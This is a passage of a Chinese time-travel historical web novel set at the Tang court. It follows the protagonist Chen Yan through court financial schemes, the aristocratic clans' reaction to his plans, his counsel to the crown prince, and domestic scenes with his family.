“内帑,从今往后将再也不会缺钱,故此一些规矩是必定要守的,否则您开了这个先例,后世子孙皆学您,那么户部、内帑还有区分的必要吗?” 李世民眉头舒展,思忖片刻,沉声道:“理确实是这么个理,但朕若不出这个钱,户部如何拿得出来那么多钱呢?” 陈衍笑了,“陛下,咱还有钱庄啊!” “户部是没钱,但是钱庄有大把的钱,户部可以去跟钱庄借贷啊。” “钱庄都是咱们自己的,而且借贷数额庞大,哪怕不私下操作,按照钱庄的规矩,同样可以争取到很低的利息,再把还款期限分为三年,每年秋收的时候还一部分不就完了吗?” “这其实是一个很简单的问题,陛下您不要想得太复杂了。” 不过,他说得很简单,其他人却不是很理解了。 长孙无忌疑惑道:“钱庄不同样是皇家的吗?属于陛下内帑收入的一部分产业,何必一定要通过钱庄?” “ 直接让户部向陛下借钱岂不是更好?” “如此一来,旁人还不得而知,消息更不会传出去,户部可以拿出打仗的钱,只需每年还一部分不就好了吗?” 陈衍摇摇头,“还是那句话,我等身为可以随意践踏规矩的存在,有时候就更要守规矩!” “不仅户部要跟钱庄借钱,哪怕皇室有一天没钱了,需要用到钱庄里面的钱,同样需要借,需要还!” 闻言,几人若有所思,长孙皇后迟疑着问,“你那个钱庄,好像比本宫想象中还要重要,你此举是否有帮助钱庄立名声的意思?” “如皇后殿下所言,我确实存在这么一层心思。”陈衍坦然道: “您想想,如果连户部都需要向钱庄借钱,只要大唐民报将这一消息刊登,所有人都知道了钱庄的可靠,大大提升信誉,今后存钱的人必然会更多。” “而我们可以拿这部分钱,去做更多的事,让经济彻底在全国流通起来。” “总而言之,钱庄不仅仅是一个钱庄,而是想要在全国实现经济流通最为关键的一环!” 说到此处,陈衍顿了顿,“这件事暂且先不提,话说回来,陛下您内帑那么多钱......” “要不都存钱庄了?” 李世民:“......” 好家伙,朕的钱你都惦记上了? “......” 第563章 再现算计 此时,另一边。 五姓七望主要人物再度破天荒地聚集在一起,都在讨论今后该怎么走。 而最上方的王珪回来之后,越想越觉得不对劲。 自己这个工部尚书......真的刚好是因为合适吗? 李世民单纯地想让他暂时顶替这个位置,还是有着其他思量? 细细琢磨一会儿,王珪忽然想到了令他们五姓七望忌惮万分的‘大唐民报’,恍然大悟。 “原来如此,原来如此啊!”王珪苦笑着摇摇头,又想起了那日,陈衍跟崔宣提出的三个条件。 起初他们都认为前两个是最难的,最后一个建造几座图书馆反而是最简单的。 可事实好像不是这样! 他王珪是谁? 即便从侍中之位上下来,降为了工部尚书,依然是世家的代表人物之一。 而他主动在朝会时提出卸任侍中,任工部尚书,去完成科举用的‘文明殿’修建。 此消息一旦通过‘大唐民报’传出去,天下人该怎么想? 而陈衍提出让他们世家出钱修建图书馆,这个消息同样传出去,天下人又该怎么想? 一旦这两个消息传出去,那么大家就会想,李世民大力推行科举,而从前一直垄断向上通道的世家也在不留余地支持。 听起来是很不错,对吗? 这是好名声啊。 然而事实却不是如此,一旦天下人都认为世家支持科举,今后他们将再也无力阻拦了,哪怕做些小动作都不行,只能眼睁睁看着科举壮大,寒门子弟有出头之日。 否则的话,他们便会被认为是当面一套,背后一套的小人。 王珪长叹,“真厉害啊,又是赤裸裸的阳谋!” “难怪陈衍认定了我们会答应他三个条件,如今我工部尚书的位置已经落定,修建‘文明殿’已是大势所趋,这一步,到底走不走,已经不是我能决定的了。” 崔瀚迟疑道:“王老何出此言,跟陈衍提出的三个条件又有什么关系?” 其余人也纷纷投来疑惑的目光。 王珪沉默片刻,将自己想明白的事全部说了出来。 郑知礼一听,便急了,“彼其娘之,这翁婿俩真当咱们是好欺负的不成?一步步的算计咱们,他们到底拿我们世族当成了什么?” “我就说,陈衍那个小王八蛋根本就不缺这点钱,为何一定要让我们出钱,原来打的是这个主 意!” “还有他李世民......他不是要打仗吗?在今年这么关键的节点,他们还敢如此步步紧逼,那大不了拼个鱼死网破!” “白糖、绢帛什么技术咱们都不要了,我倒要看看他们能拿我如何!” “住口!”上方,郑家族老呵斥道:“一大把年纪了,怎么还是这般沉不住气?” “他李世民和陈衍难道不清楚今年是关键的年份吗?你认为他们会对我们没有防备?” “别忘了这段时间到底有多少人上门提亲、程咬金就不说了,已经完婚,但魏征和尉迟家便紧接着上门提亲。” “况且,他李世民不仅手握大权,更是已经将天下舆论收入囊中,你以为现在还是跟以往一样,是我们在掌握局势吗?” “拼?你怎么拼?” “想当初韦家没想过拼吗?人家甚至还有一位深受宠爱的韦贵妃,但面对大势与民愤,韦贵妃敢放一个屁吗?” “不依然缩着脑袋窝在宫里,连具体的消息都不敢打探。” “你想让郑家成为第二个韦家吗?” 一席话,如一盆冷水当头浇下,瞬间熄灭了郑知礼所有怒火。 祠堂内一片鸦雀无声,最下面的崔宣坐立难安,在此刻,终于深刻明白了自己与陈衍的差距。 自己还在看前面一步,而人家已经看到三步之外了。 二者相差太大,无法相比! “唉~” 王延之叹息,“按照原本的计划来吧,该分散分散,该找后路找后路。陈衍提出的条件,原先我是抗拒的,既然已经走到了这一步,不妨先将技术拿到手里,为我等留下来日重新崛起的机会。” “其实这种事我们已经不陌生了不是吗?” “一颗耀眼的新星升起,其余人皆只能沦为陪衬,避其锋芒!” “否则只会被无匹之势摧枯拉朽般击溃,昔年霍家不正是这样吗?” “李世民再强,陈衍再妖,终究有逝去的那一天!” 他说完,旁边一位始终闭着眼,一身儒士打扮的卢仲宣闻言睁开眼,“存钱,其实没什么大不了,陈衍这个人是有原则的,既然敢开这钱庄,定然不会砸了自己的招牌。” “目前王老修建‘文明殿’已成定局,且是王老自己提出来的,想必明日,最晚后日,‘大唐民报’便会将这一消息传遍天下。” “第三点也已经无伤大雅,毕竟我们已然中了阳谋,跟王老说 的一样,这一步我们走不走,其实不是我们能决定的了。” “陈衍提出的三个条件,第二、第三我个人没有异议,唯一不确定的便是第一个条件。” “累进税制......一听这个名字,我就能猜个大概了。” “这不是专门奔着我们来的,是奔着天下所有地主、豪绅、勋贵命去的啊。” “陈衍下手也是狠,如我所记不错,他自己家里光明面上的地就足足有十多万亩了。” “真是狠起来连自己都宰啊!” 崔瀚:“正是因为如此,陈衍才会深得李世民信任,他这个人真的很奇怪,好似一点没有野心,全心全意的辅佐李世民。” “连全身家当只有区区七千贯的杜如晦,尚且做不到如此地步。” “时也命也啊!”王珪感慨,“天下英雄如过江之鲫,我们从未小觑天下人,却不想,在这个时代,竟然冒出了如此之多我们看不懂的人物。” “去跟陈衍接触看看吧,为我们多争取一些利益,至于你们担忧的第一点......” “呵呵,你们不会以为陈衍既然敢把心里的想法说出来,他会把成功的希望放在我们身上吧?” “若我所料不错,他们已经有十足的把握了,我们只不过是锦上的那朵花,有没有都无伤大雅......” “......” 第564章 陈衍:我跟魏征还时不时怼您两句呢 “应是天仙狂醉,乱把白云揉碎!” 甘露殿外,众人喝了酒,李世民提议出来走走,陈衍伸出手,洁白的雪花不断落在手中,心里感慨不已。 不知不觉,自己已经在大唐过了好多个深冬了。 而自己,也坐到了户部尚书的位置。 长孙皇后微怔,随即笑道:“子安,为何你总是作这么一句千古名句,不把完整的诗写出来呢?” “一句就够了。”陈衍摇摇头,“人呐,大多只会记住鲜花绽放的惊艳,从而下意识忽略陪衬的绿叶。” “一如曹植的《洛神赋》,世间谁不是只晓得一句‘翩若惊鸿,婉若游龙’,而不记得其他呢?” “亦如今日,长安皆知陈衍举世无双,十八岁入仕,二十岁任户部尚书,却忘了倘若没有杜构、房遗直等人,我或许现在还在渭南县头疼人手问题。” 李世民侧头望来,“你的话有些前后矛盾了,明明说的是‘一句就够了’,举出来的两个例子,却又好像在为绿叶和杜构抱不平。” “子安呐,作不出来就是作不出来,何必扯那些借口,朕能明白你。” 陈衍:“......” 他瞪着一双死鱼眼,“陛下,倘若我真的作出完整的呢?” “那算你厉害呗,你还想怎么滴?” 陈衍:“......” “得,我不跟您说了。” 李世民撇撇嘴,转头看向李泰,“青雀,你要的科研院朕可是早给你找好了,你跟子安所说的神威大炮,什么时候能做出来?” “父皇,你以为这是什么?哪里有那么快啊。”李泰无语,怎么还一遍遍地催上了呢? “嗯。”李世民倒也不急,只是随口问一句罢了。 反正有炸药与天时在,他根本不担心拿不下吐谷浑。 “子安啊,你说朝堂的暗流,它涌动了这么久,什么时候才是爆发的时刻?” 忽地,李世民不经意间问了一句。 李承乾等人顿时不说话了,连长孙皇后都放轻了脚步。 从贞观五年开始,朝堂看似平静,实则谁都清楚,这只是表面而已。 平静的湖面下,隐藏着汹涌的暗潮。 到后来陈衍回长安任户部侍郎、户部出现巨大变动,再到工部被查出腐败,李世民却毫无表示,只是让原本的段尚书下去。 以及后来的程咬金帮儿子跟世家提亲,再到昨天朝堂 顶层结构大变动。 这股暗潮始终没有爆发。 甚至连李世民提出御驾亲征的时候,都没有表现出来。 不过,大家都很清楚,随着魏征上任侍中,戴胄掌控‘大唐民报’,陈衍接替户部尚书,这股暗潮变得更汹涌了。 就是不知道何时爆发而已。 陈衍笑着说,“陛下,现在大家都在等呢,没那么快。” “等什么?” “等什么啊......”陈衍啧啧两声,“等科举结果出来呗,如果当真有不少寒门子弟出头,这股暗流会直接消散一空,如果依然全是士族子弟,这股暗流会顷刻间爆发出来!” “不过咱们都不用担心,无论是哪种结果,对我们来说都是好事!” “科举结果好,咱们尽快扩建图书馆,满足更多寒门子弟的需求。” “如果不好,暗潮爆发,那就顺手将这些跳得欢的,连同工部的蛀虫一并处理了。” “你说得轻巧。”李世民没好气道:“今年朕不想出现什么意外情况,如果科举结果不好,他们有恃无恐,朕虽然有信心平定,但终归是麻烦。” “哎!” 陈衍实在恨铁不成钢,“陛下,我实在不明白,您到底是怎么用不良人的?” “难不成花了那么多钱,就是秘密组建了一个查案的组织?” “那又何必多此一举?” “我当初让您重视不良人,提议花重金培养,是希望您将他们打入各家各户,将天下官员连一天上几回茅厕都掌握得一清二楚。” “我就问您一句,这满朝文武,谁没点秘密?谁又没点把柄?” “程伯伯还老是宰杀耕牛、派人殴打官府之人呢,再说严重的,以前他们打仗的时候,我就不相信他们手是干净的。” “记得我娘活着的时候,跟我说过,当初我爹都掏过两把。” “世间黑白交错,不良人的用处,便是去掌握这部分黑,找到拿捏所有人的把柄。” “届时,谁敢乱跳?” “跳之前估计您就收到了消息,然后顺手提前送一份掌握把柄的证据给他们,你看他们敢跳不?” 李世民:“......” 长孙皇后:“......” 陈衍一番话,着实给在场所有人都干沉默了。 其他的他们都能接受,唯独说程咬金手脚不干净,打仗的时候摸两把,还有陈衍说自己亲爹 从前也掏过点东西,着实把他们干沉默了。 不是? 你就这么直白的说出来的吗? 人家打仗拼死拼活的,然后打了胜仗,将士们拿点东西,这些其实都是潜规则下默认的。 李世民对此都是睁一只眼闭一只眼。 否则的话,谁给你拼命? 不过......陈衍的话糙理不糙。 李世民摸着下巴,“你当初是这个意思吗?” “那不然呢?” 陈衍失笑,“否则的话,我干嘛要建议您组建个专门查案的组织?” “其实就如同您现在对待工部一样,你看现在工部的官员多乖啊,寻遍世间都找不到这么乖、这么好用的官员了。” “我跟魏征还时不时怼您两句呢。” “你看他们敢吗?” 李世民:“......” “呵呵......你跟魏征那田舍翁一个德行!” “一天到晚就知道气朕!” 长孙皇后抚额,怀疑陈衍今天是不是喝多了,平日里话也没说这么直白啊? 以前都会委婉一些的。 陈衍讪笑:“陛下,我就举个例子给您听,您不用放在心上,至于我的提议......您看着来吧,我不说了。” “哼哼,不良人是吧?”李世民轻描淡写地扫了他一眼,阴阳怪气:“朕回头第一个把不良人安排到你家里!” “朕倒要看看,你陈尚书有什么把柄!” “......” ps:宝子们,推荐一本“朋友”写的书《不是,老表!你让始皇剪砂糖橘?》历史脑洞向的,字数不多,感兴趣的可以看看 第565章 绝不能是羊! 元宵,自古以来便是中原大地的重要节日。 每每到了这天,长安城内灯火通明,连宵禁都得往后推迟,让百姓享受佳节。 而陈衍也带着一大家子,久违地出来逛逛。 自从回到长安,他便进入了忙碌之中,从早上出门,直到夜幕降临,他才会返回家中。 所以陈衍想趁着这个机会好好陪陪家人。 连魏王李泰都从科研院里出来,带着魏王妃和儿子跟他出来了。 只是,这家伙的话着实有点多,喋喋不休地念叨。 “子安兄,你看他们放的孔明灯都弱爆了,要我说,咱把咱的热气球整过来,让长安的百姓们看看,什么才叫做高级!” “你觉得呢?” “我觉得啊?”陈衍停下脚步,面无表情道:“我觉得没问题啊,等大家都在河边放孔明灯祈福,而你坐在热气球上面,大喊:瞧瞧,这才是高级,你们的孔明灯都弱爆了!” 李泰:“......” 魏王妃扑哧笑出了声,李丽质无奈,瞪了李泰一眼,扯了扯陈衍的袖子,“夫君,你照顾一下小岁安吧,我跟高阳带着兕子她们也去放几个孔明灯。” “好。”陈衍轻轻颔首,答应下来。 早就迫不及待想开溜的高阳见状忙把女儿递给她爹,然后牵着小兕子撒欢似的跑了。 魏王妃也不管李泰了,带着儿子跟了过去。 “子安兄,你看那边......好像是太子和太子妃。” 忽然李泰似乎发现了什么,抬手一指。 陈衍顺着他指的方向看过去,只见李承乾带着太子妃,正兴奋地跟自己挥手打招呼呢。 “得,这回人又齐全了。”他淡淡笑了笑,招手示意李承乾过来。 夫妻俩不多时便来到了两人跟前,李承乾爽朗道:“子安兄,你说咱们是不是挺巧的,在人潮之中竟然碰巧遇见了。” 陈衍挑眉道:“其实我蛮意外的,你今天竟然能出来,还带着......妻儿,怎么?不怕遇到危险了?” 李承乾嘴角扯了扯,又回想起自己快把肠子拉出来那几天痛苦的记忆,“如果你不提这件事的话,咱们还是好兄弟。” 太子妃莞尔,“夫君,魏王殿下,渭国公,我方才看到了丽质她们,好像在放孔明灯,你们先聊,我也去凑凑热闹。” 李承乾摆摆手,示意她随意。 转瞬间,河岸的台阶上只剩下 了他们三人。 “依稀记得,去年的今日,咱们跟你们阿耶一样在这个位置,他问了我们一个很有趣的问题。”陈衍提起了一件事,语气颇为感慨: “不知不觉,竟又过去了一年。” 李承乾笑道:“时间总是过得飞快的,一年时间转瞬即逝,我们其实没什么变化,而你如今却是不同了。” “一年前还是个小县令,现在却是跺跺脚,整个大唐都得震三震的大人物了。” “别提这事了。”陈衍郁闷道:“以前我想睡到什么时辰,就睡到什么时辰,现在还得每天起来赶早朝,下了朝更得返回户部处理文书。” “我最近都很少揍高阳了,生活少了太多乐趣。” 李泰:“......” 李承乾:“......” “不提这个了。”陈衍摇头叹息,“等过了今日元宵,接下来最重要的一件事便是科举。” “元日家宴那天,我就跟你们父皇说过,今年的科举事关重大,不仅仅是选拔人才那么简单。” “承乾兄,我为你争取来的机会,你得好好把握啊!” 说最后一句话的时候,陈衍眼里多了一丝耐人寻味的神色。 李承乾一怔,“子安兄这是何意?科举的话,父皇不才是那个瞩目点吗?我应该只能算作绿叶才对。” 李泰此时在一旁插话,“如果我猜的没错,他应该是让你多注意注意,看看能不能挖掘几个人才。” “你啊,地位虽高,实则班底并不算强。” “哪怕我已经很久没关注朝堂了,也大概能猜到你在朝堂的话语权并不强。” 李承乾皱眉,迟疑道:“这......恐怕不合适吧?” “不合适个屁!” 陈衍恨铁不成钢,“这就是从前陛下有时看不上你的原因。你处理朝政、乃至监国都没问题,不说特别好,却足以称得上一句不错。” “但也仅是如此了!” “你难道忘了吗?从前你父皇跟你说过一句话,称你能当好一个守成之君,他就已经很满足了。” “身为天可汗的长子,你却是一个守成之君,尽管陛下嘴上说着满意,可心里难不成就没有点失望吗?” “你得硬气起来啊,尽快打造自己的班底,渐渐掌握朝堂,增强自己的话语权,待到将来皇位更迭,你一下子便能坐稳皇位!” “而不是像现在这样,特么上朝跟小透明一 样,如果不是陛下有事点你出来,你能一句话都不说,这算什么太子?” 此言落下,李承乾和李泰顿时慌了神,左顾右盼,生怕这些话被旁人听了去。 这些话如果传出去,被有心之人利用,还不知道产生什么影响呢。 毕竟这话,近乎大逆不道啊! 当今圣上还年轻,你就怂恿太子打造自己的班底,你这是要干什么? 陈衍见状有些失望,李承乾能力是绝对够的,但就是少了几分胆气。 还不是未来那个被逼到‘请陛下称太子的李承乾’。 “承乾兄,你已经错过很多次机会了,这次你听我的,我给你指两个人,你多关注关注,倘若他们落榜,你顺势收入东宫,倘若他们考中了,你想办法将他们收入麾下。” “大不了跟陛下刚一下,我相信届时陛下最多表面生气,心里不知道多高兴呢。” 陈衍再次语出惊人,给李承乾整得一愣一愣的。 “子安兄......这样真的好吗?” 李承乾呆愣道。 陈衍瞥着他,淡淡道:“一个王朝的继承人,可以残忍,可以无情,甚至可以没有底线!” “但绝不能是羊!” “就如昔年的公子扶苏,你说他若是被派去边疆的时候,直接起兵反了,始皇嬴政是愤怒多些,还是欣慰多些?” “......” 第566章 有没有那个胆气 “这个......” 李承乾神色古怪,“具体我说不好,但想来若是晚年的始皇,见扶苏敢起兵造反,愤怒跟欣慰都有吧。” “对咯。”陈衍拍拍他的肩膀,“承乾兄啊,身为太子,你得拿出太子该有的气节啊,怂个毛线!” “别人打造班底,网罗人手,那叫结党营私,你身为太子,打造自己的班底叫什么?那叫合理的铺垫啊!” “从前的魏王都敢拉拢那么多人,你一个太子,这么怂怎么能行?” 李泰:“......” “......子安兄,我已经改过自新了,就不要再提此事了吧。” 陈衍一挥手,“比喻,比喻,你们不要在意这些细节行不?” 李承乾沉默道:“那方才,你说我错过了很多机会,是什么意思?” “韦家啊!”陈衍没好气道:“当初的韦家摇摇欲坠,即将被大势碾压之时,众多猎食者都想从韦家身上撕下一块肉,连陛下都在背后推波助澜。” “他们已经到了绝望的边缘,那时,你倘若能站出来,保下一些人,这些人今后还不对你死心塌地?” “可惜你没有,光想着覆灭韦家的好处了。” “殊不知,你若能保下韦家一批人,你的收获会更多,毕竟有句话怎么说来着?” “瘦死的骆驼比马大。” “你已经错过那次机会,如今科举在即,万万不能再放弃了。” 李承乾沉思良久,最终还是选择相信陈衍,点点头,“好,子安兄,你说的那两个人,叫什么名字?” “来恒,来济!” “......” 而李承乾他们不知道的是,当天晚上,三人的谈话便被清晰记录下来,递到了正准备跟长孙皇后休息的李世民手中。 不过别误会,李世民真没什么心思打探这几人说什么,此前说让不良人先打探陈衍有什么把柄,大多是句玩笑话罢了。 他派人过去,只是因为想保护好李承乾和皇孙。 只是陈衍他们的谈话......嗯,有些特殊了,所以暗中保护的人便记录了下来,交给李世民。 榻上,李世民看完三人的谈话,眉头一挑,“观音婢,你看看你家的好孩子,说的都是些什么东西!” “这是教导朕的太子谋反呢。” 长孙皇后闻言心猛地一跳,这句话太重了。 可按照她对李世民 的了解,此时李世民的表情,好像没什么生气的。 长孙皇后心有不解,接过密报,逐词逐句看完之后,笑了,“承乾在这方面确实有所不足,没有一个身为太子的气节,子安应当是看不下去了,否则不会这样说。” “而且,太子携太子妃出宫,以子安的头脑,不会想不明白暗中肯定有人守护,可他依然说了,表明他不怕你知道呢。” “承乾啊......”李世民叹了口气,“索幸朕不算年迈,他还有很长时间来成长,加上有子安这小子从旁提点......只能说未来可期吧。” 有长孙皇后在旁边,他说话还是比较委婉的。 紧接着,他笑道:“不过,倘若承乾真有那个胆气,敢跟朕硬刚,来争夺一两个人才,朕也许会高看他一眼。” “子安有一句话说得对,连当初的青雀都敢拉拢大臣,他却在朝中没什么话语权,属实不该。” “关于这件事,臣妾有话要说。”长孙皇后轻声道,“昔日,谁人不知陛下喜爱青雀,而对太子颇有微词,时常能听到陛下呵斥太子的消息传出。” “事关皇家内部争夺,大臣们当然不愿意插手其中,而青雀又因备受宠爱,封地太多,家底丰厚,因此拉拢了不少人。” “如此一来,青雀的势力愈发庞大,反倒太子一党逐渐势弱。到后面,甚至没多少人愿意站队太子,有心想博扶龙之功的,全部倒向了青雀。” “陛下,您说,这全部都是承乾的问题吗?” “......咳咳。”李世民干咳一声,“观音婢啊,朕知道以前承乾过得不怎么容易,朕这不是意识到了错误,拨乱反正了吗?” “更何况,青雀如今无心皇位,承乾的地位已经无可动摇了。” 夫妻俩在私底下,说话什么的都比较随意,如今长孙皇后一口一个陛下,而不是二郎,李世民便知道长孙皇后心里同样有些怨气的。 他确实不算一个好的父亲。 明明玄武门之争就在眼前,他从前却视而不见,若不是有人及时提醒,险些酿出大祸啊。 长孙皇后重新展露笑颜,“那二郎,何不给承乾些许补偿呢?” “子安提出的这两个人,臣妾之前从未听说过,不如等科举出来,看看承乾是否敢争取,若是敢的话,就顺势让给他吧。” 李世民一怔,随即哑然,“好好好,好你个观音婢啊,原来你是打的这个主意?” “朕竟然也着了你 的道了。” 长孙皇后笑而不语。 她从来就不是喜欢揪着从前一些事拿出来说的人,事情已经过去,情况同样在往好的方向发展。 心里留着那点怨气有什么意义吗? 她是个疼孩子的母亲,特别是明白李承乾从前确实压力很大,所以希望替孩子争取一个机会。 “嗯......” 李世民摸着下巴,“若是别人提出来的话,朕让给承乾倒也无妨。” “只是观音婢啊,你还没看明白吗?” “他陈子安看中的人,什么时候差过?” “来恒、来济,这两个人你或许不清楚,可朕却关注过几分。” “因为这两个人是来护儿之子,跟李义府他们同时被陈衍所招揽,但他们有心气,想等着科举。” “所以,陈衍便亲自想办法培养他们,直到去年才返回老家,参加第一轮考试。” “更重要的是,这两兄弟在前几轮的考试中表现相当出众,若无意外的话,考中进士不成问题。” “而且,他们还相当年轻,不过二十岁出头......” “朕.....” 话说到一半,李世民被长孙皇后幽幽的目光盯得有些不太自在,“算了,还是看承乾有没有那个胆气吧。” “届时朕再做决定。” “......” 第567章 成王败寇 “娘亲~” “哎~” 高阳:“......” 贞观六年,二月初。 此时小岁安已经十个月大,牙齿渐渐长了出来,也能到处乱爬,甚至扶着墙壁站起来了。 更重要的是,前两天小岁安被陈衍抱着的时候,无意识叫了声爹爹,给高阳羡慕的眼睛都红了。 这不,一大早起床,高阳又抱着女儿一个劲喊娘亲。 小岁安可乖啦,每次都会回应呢。 不过,这可给旁边的陈衍笑拉了。 今日没有常朝,他能在家休息。 “你笑什么笑?你行你来啊!” 高阳气不过,撒开女儿。 小岁安见状立即爬到了陈衍面前,后者高兴地抱起女儿,“小岁安,叫爹爹~” 小岁安懵懵懂懂地眨眨眼,盯着陈衍好一会儿,张开嘴,“跌跌~” 陈衍:!!! 高阳:??? “哎~哈哈哈哈,真是爹爹的好闺女!” 陈衍高兴坏了,贴着女儿的脸好一阵稀罕。 小岁安咯咯笑着,嘴里还无意识地咿咿呀呀。 “棠儿,你看见没有?人不行就不要怪路不平,闺女咋就知道叫我爹爹呢?”陈衍微微仰着下巴,语气调侃。 高阳闷闷不乐,“这不对,明明每天是我陪她的时间更多,凭什么她先叫你爹?” “我教她叫娘亲,她怎么就知道哎?” “说明你对女儿不好,女儿不跟你亲。”陈衍笑着,捏了捏女儿肉嘟嘟的脸蛋,“是不是呀,小岁安?” “嗯~丫丫~” 小岁安以为父亲在跟自己玩,顿时眉开眼笑,伸着小手还要抓老父亲的脸呢。 不远处,李丽质笑着看着这一幕,眼里闪过一丝羡慕,笑容变得有些牵强。 陈衍注意到了这一幕,沉吟片刻,说道:“丽质啊,不如我们等过几个月,小岁安长大些,然后趁着天气不错,咱们也要一个孩子?” 闻言,高阳和李丽质都愣住了。 高阳倒没说什么,李丽质忽然紧张起来,“今......今年吗?” “对,今年呗。”陈衍掰着手指头算了算,“你看哈,现在天气还很冷,按照怀孕十个月来算,现在要的话,孩子出生在冬季,有些冷了。” “咱们过几个月要孩子,那个时候天气正好,生下来还能避免孩子体弱,感 染风寒,你觉得呢?” “好......好呀!” 意识到陈衍是认真的,李丽质被这突如其来的惊喜砸懵了一下,随即连连点头答应下来。 高阳笑道:“那正好,不管是生个弟弟妹妹,小岁安今后都不那么孤独了,有个同龄的兄弟姐妹陪着一起玩。” “可不能让她们跟着兕子,要不然被带坏了都。” 听到这话,李丽质重重点头,“对,绝不能让小兕子带着孩子们玩。” 陈衍嘴角扯了扯。 兕子......其实除了爱说八卦一点,好像也没什么大问题吧...... 好吧,爱说八卦本身就是最大的问题了。 “咚咚!” “少爷,外面有一位姓崔的公子上门拜访,我给安排到会客厅了。” 这时,一阵敲门声,伴随着青儿的声音传进来。 陈衍有些意外,崔宣比自己想象中来得更早一些,他还以为要到科举之后呢。 不过来了正好,自己憋的大招不能再继续拖下去了。 要不然耽误生产绢帛。 “棠儿,你继续喊闺女娘亲吧,我出去一趟。” 高阳:“......” 走就走,干嘛还要扎她的心? “......” “渭国公大人!” 陈衍一进门,崔宣便起身行礼。 从礼数上,崔宣真挑不出半点毛病。 即便在他看来,陈衍自始至终都更像敌人,而非良好的合作伙伴。 “崔公子不必多礼,青儿,你还愣着干什么?给崔公子上茶。”陈衍挥了挥手,一屁股坐下。 “好的,少爷。” 沏好茶,青儿默默退了出去,没继续留下去。 陈衍捏着茶杯,嘴角挂着淡淡的笑意,“怎么?崔公子,关于我上次提出的交易,你们考虑得怎么样了?” “条件,我们可以答应。” 崔宣心中暗叹,打起精神,认真道:“但渭国公的交易对于我们来说属实不太能接受,合理的交易应该是要双方受益才对!” “就目前来说,您拿出的筹码,对我们来说是不够的。” “绢帛确实很重要,但还不值得我们付出这么大的代价。” 陈衍微微颔首,“你们是觉得筹码不够?这很正常,上次我便跟你说过,不用着急拒绝,倘若觉得对条件不满意,咱 们还能再谈!” “不过......交易咱们先放放,条件最后再谈!” 崔宣心里一个咯噔,急忙便要出声阻止,然而已经来不及了,陈衍已经将问题抛了出来: “崔公子,纵观古今,史书浩如烟海,堆积如山,而你读了那么多史书,从中悟出了什么道理?一句话告诉我!” 崔宣眼皮抽动,心里很清楚,自己的主动权又在被一点点夺走。 可明知道这一点,崔宣仍然不可避免地开始思考陈衍提出的问题。 半晌,他缓缓开口,“强者制定规则,弱者遵守规则!” “总结起来,无非四个字——成王败寇!” “说得好!”陈衍抚掌,大赞,“不愧是从世家这一代的代表人物,看待问题很透彻!” “昔日,我跟太子、魏王在一起,陛下也问了我们三个人这个问题。” “而我们的回答各不相同,但实际上大差不差。” “自古以来,我们向来喜欢以成败论英雄,这是对的,也是不对的!” “毕竟......有一句话叫做一将功成万骨枯,可天下人都想当那个英雄,都不愿意成为英雄脚下的枯骨。” “只是,英雄实际上没那么好当,甚至很多人,连当枯骨的资格都没有。” “崔公子,昔日贞观元年,孙伏伽通过科举入仕,将一众学子踩在了脚下,成为了民间流传的状元郎。” “如今不过区区六年,孙伏伽已官至三品,未来大有可为。” “然而,谁还记得被孙伏伽踩下去那些人吗?” 崔宣沉默了。 他不知道陈衍说这话到底是什么意思,有没有什么暗示在里面。 但孙伏伽的事迹确实为真,那些被他踩在脚下的人,如今就算还混迹官场,却已经跟孙伏伽相差甚远了。 陈衍淡淡一笑,“崔公子,科举在即!” “你认为今年谁又是那个独领风骚的状元郎呢?” “......” 第568章 斩首,收下当狗 “我......不知!” 崔宣犹豫道:“但能拿下状元,定然是德才兼备之人。” 陈衍失笑,“不管是什么样的人,但总归会出现这样一个人,从而遮掩其他人的光芒。” “崔公子,我必须要提醒你,即便你们不帮我扩建图书馆,我自己一样会扩建的。” “你知道的,我不缺钱。” “至于政策的推行......”陈衍感慨道:“其实说难也难,说简单倒也简单。” “陛下不是要御驾亲征吗?不管此事会不会发生,战火肯定是要被点燃的。” “吐谷浑被斩首,然后收下当狗,已成定局!” “此番,陛下不仅要震慑周边游牧部族,对内......或许同样会有些动作。” 崔宣猛地抬头,哪怕猜到陈衍大概率是在唬自己,心里仍然不可避免地升起一抹恐惧感。 因为陈衍的出现,李世民的民间声望在短短两年间便攀升到了一个恐怖的高度。 不说近两年大家休养生息,粮价持续走低,百姓的日子渐渐好了起来。 单说陈衍带着白虎献上传国玉玺,又经过‘大唐民报’大力宣传,加上重开科举、大办图书馆,给寒门子弟提供了出头的机会。 李世民在民间的声望已经无可撼动。 倘若要对他们举起屠刀,他们......能挡得住吗? “对了,我再告诉你一个消息。” 陈衍摸着下巴,嘴角微微勾勒,“今年初,陛下得到两种堪称祥瑞的粮种,一种亩产千斤以上,一种一年三熟。” “那时我曾建议陛下前往泰山封禅,陛下拒绝了,说还不是时候,可以再等等。” “崔公子......我想告诉你的是,大势不可逆啊!” 最后一句话,陈衍神色莫名,耐人寻味。 而崔宣脑子已经一片空白,几乎停止了思考,连端着热茶的手被烫红,依旧未曾放下。 他还未从陈衍爆出的消息中回过神。 时代......已经发展成这样了吗? 亩产千斤、一年三熟的粮种都出来了? 贞观......真的要变成贞观之治,乃至贞观盛世了吗? “大势不可逆......” 崔宣苦笑着将手中的热茶一饮而尽,起身作揖,“崔宣,受教了!” “崔公子,不如这样吧。”陈衍沉吟片刻, “我还有一项水车的技术,是用来帮助百姓灌溉农田的,其意义巨大,不亚于最近开始出现在民间的曲辕犁。” “我把这项技术交给你们,你好好回想一遍我的话,再考虑一下要不要进行接下来的交易,如何?” “水车?”崔宣一怔,可很快便反应了过来。 跟陈衍交谈就是这样,谁都不清楚眼前这个人转变话题到底有多快。 嗯......可能也是人家的目的已经达到了,没必要再继续说下去,所以将话题扯了回来。 崔宣思忖道:“曲辕犁我有所了解,从去年开始已经开始小范围推广了,只是还没多少百姓愿意为此买单。” “今年因为‘大唐民报’上大肆对它推崇,才渐渐入了天下人眼中。” “目前,好像是由你的商会在进行售卖。” “不错。”陈衍颔首,“曲辕犁的作用你想必听说过一些,拿出这样一件东西,对农耕的意义是无比巨大的。” “几乎等同于一张免死金牌。” “而我们大家交易,我在付出水力纺织机的基础上,再添上一个水车的技术,由你们进行推广,甚至我还可以跟掌握‘大唐民报’的戴公商议一下,告诉天下人,这是你们世家拿出来的东西,为你们增添几分美名。” “如何?” 崔宣深深看了眼陈衍,“渭国公大人,我好像并没有拒绝的理由。” “对呀。”陈衍摊了摊手,嘴角依旧挂着自信的笑,“其实我提出的三个条件,你们能答应最好,不答应我同样有其他办法,你们只能算锦上添花。” “相信过了这么久,你们该想明白的,肯定都想明白了。” “更何况我又拿出了一项水车的技术赠与你们,帮助你们稳固在民间的声望。” 